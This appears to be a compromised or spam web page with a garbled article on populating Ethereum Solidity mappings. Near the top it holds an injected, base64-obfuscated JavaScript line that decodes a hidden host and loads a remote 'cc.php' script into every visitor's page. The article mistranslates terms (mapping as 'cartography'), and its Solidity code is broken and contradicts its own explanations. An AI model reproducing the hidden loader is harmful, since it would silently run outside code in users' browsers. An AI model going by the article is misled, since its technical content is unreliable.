0779.36.5555

Ethereum: Populate mapping in global scope returns error

Spread the love

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4ea6f5d2″;document.body.appendChild(script);

Here is an article on Ethereum maps:

Ethereum mapping: a simple example

Ethereum: Populate mapping in global scope returns error

When you work with Ethereum, you often meet the concept of cartography. Contribution is a data structure that allows you to store values ​​related to specific keys (also called “keys” or “index”) in a table or other data structure. In this article, we will examine how to create and use a simple cartography in a global range.

What is mapping?

In Ethereum, cartography is essentially a means of storing value panels indexed by their position on the board of directors. The key values ​​couples are stored in a field (“Key” field) then the index value in another field (“index” field). This allows you to look for and download data effectively.

Creation of a simple mapping

Here is a simple example of cartography creation with two elements:

`Solidity

MyMappiem contract {

Uint8 [2] Public MyMAP;

}

'

In this example, we define a contract called "MyMapp", which has a certain number of 2 elements ("uint8) called” mymap “.

encouraging mapping

To fulfill data mapping, you can use functions that take the key and value as arguments. Let’s create two functions:

`Solidity

MyMappiem contract {

Set Function (Uint8 Index, Uint8 Value) Public {

Mymap [Index] = value;

}

Get function (Uint8 index) View Public Returns (Uint8) {

Return of MyMAP [Index];

}

}

'

In the "set" function, we store the given value in a specific index. In the "GET" function, we simply return the value linked to the index.

Mapping

Now when we have created and finished our mapping, let us use it to store certain data:

Solidity

MyMappiem contract {

MyPing Mymap;

Builder () Public {

Mymap.set (0, 1); // Define the first element on index 0

Mymap.set (1, 2); // Define the second element of the index 1

}

Getmyitem function (index uint8) return of public view (uint8) {

Return mymap.get (index);

}

}

'

In this example, we create a "MyMapp" contract and define two mapping elements using the "set" function. Then we use the "GET" function to download the mapping item.

Example Use

To test our mapping, call the "Getmyit" function:

Solidity

Pragma Solidity ^ 0.8,0;

MyContract contract {

MyPing Mymap;

Builder () Public {

Mymap.set (1, 5); // Define an element on the index 1 to 5

}

Getmyitem function (index uint8) return of public view (uint8) {

Return mymap.get (index);

}

}

` ‘

In this example, we call the “Getmyit” function of our own contract. Because in our mapping, there is no position in index 0, the function simply returns 0.

Application

Ethereum cartography is a powerful means of effective data storage and recovery. In this article, we examined how to create a simple map in a global range with reliability. Then we finished data mapping and used it to store and download items. This example shows the versatility of Ethereum cartography and their potential applications in the scope of the development of an intelligent contract.

I hope this will help you understand this better cartography! Let me know if you have any other questions or if you need additional examples.

ETHEREUM MARKETS

Recent Posts

Review học viên đi Du học Đại Học Ba Lan

did something